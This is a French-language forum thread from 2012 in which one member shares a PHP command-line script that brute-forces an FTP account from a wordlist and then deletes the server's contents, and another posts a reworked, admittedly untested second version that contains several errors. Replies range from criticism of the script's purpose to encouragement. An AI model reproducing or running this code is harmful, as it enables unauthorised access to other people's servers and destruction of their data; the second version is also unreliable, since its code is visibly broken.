Script sans interêt qui peut en avoir..

Moderator: Mod

Script sans interêt qui peut en avoir..

Postby LECHIENKITU » Fri Sep 28, 2012 4:40 am

Hello, suite à la relecture d'un post ( [url]https://forum.hackbbs.org/viewtopic.php?t=2930&sid=4de39124a7932a1420345418295fe819[/url] ) qui m'a bien fait rire :p j'ai eu l'idée d'essayer de faire ce que je décrivais il y a 3 ans ..
Sauf que je l'ai fait en PHP ><
Donc voici le code qui est censé faire ce que je décris:
[code:1:a3f5e0456f]
<?php
/**
.:: FTP-REMOVE ::.

@author lechienkitu
@version O.O.1
@license OpenSource

Se connecte à un serveur
FTP avec un user pré-nommé
et tente une intrusion par
brute force (avec dictionnaire)
puis supprime tous les fichiers
présents sur le serveur.

SYNTAXE: ftp.xxxx.xxx:user:file_wordlist

ENJOY
*/

echo "ftpserver:user:wordlist\n-> ";
$std = rtrim(fgets(STDIN));
$infos = explode(':', $std);

if(count($infos) != 3)
exit("SYNTAXE: ftp.xxx.xxx:USER:FILE_WORDLIST\n");
if(!is_file($infos[2]))
exit("YOUR FILE IS FALSE");

$file = fopen($infos[2], "r");
while(($line = fgets($file)))
{
$ftp = ftp_connect($infos[0]);
echo "Tentative de connection avec $infos[1]@$line...";
if(@ftp_login($ftp, $infos[1], rtrim($line)))
{
echo "OK\n";
$docs = ftp_nlist($ftp, ".");
foreach($docs as $f)
ftp_rmdir($ftp, $f);
break;
}
echo "FAIL\n";
ftp_close($ftp);
}

fclose($file);
?>
[/code:1:a3f5e0456f]
Voilà donc bien sûr pour les lamerz qui passeraient par ici ceci n'est pas le soft qui va révolutionner votre vie mais juste un petit script de nuit que j'avais envie de partager histoire d'en inspirer certains (mais aussi de montrer qu'en fait beh c'était faisable cette merde :p)
EDIT: ai oublié de dire que c'était du PHP en CLI :oops:
LECHIENKITU
Projets
 
Posts: 177
Joined: Wed Apr 01, 2009 4:12 am

Postby TorTukiTu » Fri Sep 28, 2012 8:29 am

...

En tout cas, ça fait du bien de voir que tu sais scripter un peu maintenant =).

Après, je ne sais pas trop à qui peut servir ton script.

Je te souhaite de continuer ton apprentissage avec d'autres optiques que celle-ci.

A bientôt, tortue 974.
User avatar
TorTukiTu
Site Admin
 
Posts: 1960
Joined: Thu Feb 07, 2008 10:24 pm
Location: Devant son pc durant la redaction de ce message

Postby LECHIENKITU » Fri Sep 28, 2012 12:22 pm

Boarf comme je l'ai dit j'ai survolé le fofo et en tombant dessus j'ai à la fois rigolé et en même je me suis dit "Bon allez testons, pourquoi pas après tout..." et puis comme je l'ai dit c'est pour le fun et je ne l'ai pas fait pour les petits lamerz en herbe. Et ça fait longtemps que je sais scripter bougre de toi \o/
LECHIENKITU
Projets
 
Posts: 177
Joined: Wed Apr 01, 2009 4:12 am

Postby SHEPSHEP » Tue Oct 02, 2012 3:25 pm

Ce n'est pas spécialement contre toi mais quel est l'intérêt de développer un script de ce type à part donner de mauvaise idées à des script kiddies en mal de reconnaissance ?

Je n'en vois aucun, même pas pour l'apprentissage étant donné qu'il est simpliste.

Si je peux me permettre de te donner un conseil, change de cap l'ami ;)
SHEPSHEP
Projets
 
Posts: 268
Joined: Wed Apr 08, 2009 11:14 am
Location: /dev/null

Postby Korigan » Tue Oct 02, 2012 8:19 pm

Merci pour ce partage Lechienkitu.

Tu pourrais continuer à en faire d'autres pour te constituer un petit framework.
Tu pourrais également participer au projet metasploit par exemple.

En tout cas +1 pour la persévérance!

Et aujourd'hui, si tu devais te donner un projet à faire dans 3 ans, ce serait quoi?

++Korigan
User avatar
Korigan
Site Admin
 
Posts: 1781
Joined: Tue May 29, 2007 6:57 pm

Postby LECHIENKITU » Tue Oct 02, 2012 8:45 pm

[quote:ffe0056a98="SHEPSHEP"]Si je peux me permettre de te donner un conseil, change de cap l'ami ;)[/quote:ffe0056a98]
On voit que tu ne me connais pas, l' << ami >>

Korigan: Je n'en ai aucune idée :? Et quel projet de metasploit ? :p
LECHIENKITU
Projets
 
Posts: 177
Joined: Wed Apr 01, 2009 4:12 am

Postby alz » Tue Oct 02, 2012 9:01 pm

bon j'vais pas te taunt les autres l'ont fait..
du coup j'vais te proposer une v.2 histoire de ... (osef de ce que tu codes, prends tjrs la peine de le faire proprement) tu apprendras beaucoup plus vite et tes codes seront plus facile a etre repris dans dautres scripts

[code:1:dd88efef2a]
#!/usr/bin/php
<?php

/**
* .:: FTP-REMOVE ::.
*
* @author Alz
* @source lechienkitu
* @version 0.0.2
* @license OpenSource
*
* Se connecte à un serveur
* FTP avec un user pré-nommé
* et tente une intrusion par
* brute force (avec dictionnaire)
* puis supprime tous les fichiers
* présents sur le serveur.
*
* SYNTAXE: ftp.xxxx.xxx:user:file_wordlist
*
* ENJOY
**/

// Const GEN
define ( '_SYNTAX_HLP_' , 'ftpserver:user:wordlist' );
define ( '_MAX_LEN_' , '1024' ); // octets
define ( '_TRY_FTPCONN_' , 'Tentative de connection avec' );

// Const Err
define ( '_ERR_BADSYNTAX_' , 'Erreur : Mauvaise syntaxe' );
define ( '_ERR_FILENOTFOUND_' , 'Erreur : Fichier introuvable, vérifiez le chemin ou le nom du dico' );
define ( '_ERR_FILENOTREADABLE_' , 'Erreur : Impossible de lire le fichier' );
define ( '_ERR_FTP_HOSTUNAVIABLE_' , 'Erreur : Le serveur FTP est inaccessible' );
define ( '_ERR_FTP_RMFILE_' , 'Erreur : Impossible de supprimer le fichier' );
define ( '_ERR_FTP_RMDIR_' , 'Erreur : Impossible de supprimer le dossier' );
define ( '_ERR_BADPWD_' , 'Erreur : Echec de connection avec ce mot de passe' );

// Init
$i = 0;
echo _SYNTAX_HLP_ . PHP_EOL;

// User Input
$std = rtrim ( fgets( STDIN ) );
$infos = explode ( ':' , $std );

// Check Input datas
if ( count($infos) != 3)
exit( _SYNTAX_HLP_ . PHP_EOL );

// Init Var
foreach ( $infos as $i => $value )
{
$value = trim ( $value );

if ( empty ( $value ) )
exit ( _ERR_BADSYNTAX_ . PHP_EOL . SYNTAX_HLP_ . PHP_EOL );

if ( $i == 0 )
$ftpHost = ltrim ( strtolower( $value ) , 'ftp://');
elseif ( $i == 1 )
$ftpUser = strtolower ( $value );
else
$wordlist = strtolower ( $value );
}

// Check wordlist
if ( !file_exists( $wordlist ) )
exit( _ERR_FILENOTFOUND_ . PHP_EOL );

// Check FTP Host
$ftp = ftp_connect( $ftpHost ) or exit ( _ERR_FTP_HOSTUNAVIABLE_ . ' ( ' . $ftpHost .' )' );

// Loop
$fp = fopen( $wordlist , 'r' ) or exit ( _ERR_FILENOTREADABLE_ );

while ( !feof ( $file ) )
{
$password = trim ( fgets ( $fp , _MAX_LEN_ ) );

echo '[#' . ++$i . '] > ' . _TRY_FTPCONN . ' : ' . $ftpUser . '@' . $password . PHP_EOL;

try {
ftp_login ( $ftp , $ftpUser , $password ) or throw new Exception ( $password , 0 );
echo 'PASSWORD : ' . $password . PHP_EOL;

$ftpFiles = ftp_nlist ( $ftp , '.' );
foreach ( $ftpFile as $f )
{
if ( is_file ( $f ) )
ftp_delete ( $f ) or throw new Exception ( $f , 1 );
elseif ( $f != '.' && $f != '..' )
ftp_rmdir ( $f ) or throw new Exception ( $f , 2 );
}

exit ( 'Done.' . PHP_EOL );
}
catch ( Exception $e )
{
swhitch ( $e->getCode() )
{
case 0:
echo _ERR_BADPWD_ . ' ( ' . $e->getMessage() . ' )' . PHP_EOL;
break;

case 1:
echo _ERR_FTP_RMFILE_ . ' ( ' . $e->gerMessage() . ' ) ' . PHP_EOL;
break;

case 2:
echo _ERR_FTP_RMDIR_ . ' ( ' . $e->getMessage() . ' ) ' . PHP_EOL;
break;
}
}
}

// Close ressources
ftp_close ( $ftp );
fclose ( $fp );

?>
[/code:1:dd88efef2a]

Je n'ai pas testé le code ... (j'm'en fou un peu au final c'etait plus pour le fun qu'autre chose)
Au passage la grosse bourde que j'ai pu voir c'est surtout que tu vide l'ensemble des dossiers du dossier FTP mais tu laisses les fichiers ...
A noter aussi que ce systeme n'est pas récursif.

D'ailleurs sur ce point tu peux t'amuser a faire une v3 en mode recursivité

Alz'enjoy.
alz
Projets
 
Posts: 6
Joined: Wed Feb 27, 2008 11:57 pm

Postby LECHIENKITU » Tue Oct 02, 2012 11:38 pm

Merci beaucoup Alz. Mmmh, non, je vais plutôt essayer de commencer ma petite dd de class etc... Comme Kori et toi (sur irc) me l'avez déjà conseillé. A la prochaine++
LECHIENKITU
Projets
 
Posts: 177
Joined: Wed Apr 01, 2009 4:12 am

Postby SHEPSHEP » Thu Oct 04, 2012 3:41 pm

@LECHIENKITU : Autant pour moi alors, j'ai toujours un peu de mal avec ce genre de projet et j'ai tendance à le faire savoir assez "violemment". Sorry
SHEPSHEP
Projets
 
Posts: 268
Joined: Wed Apr 08, 2009 11:14 am
Location: /dev/null


Return to Php

Who is online

Users browsing this forum: No registered users and 3 guests

cron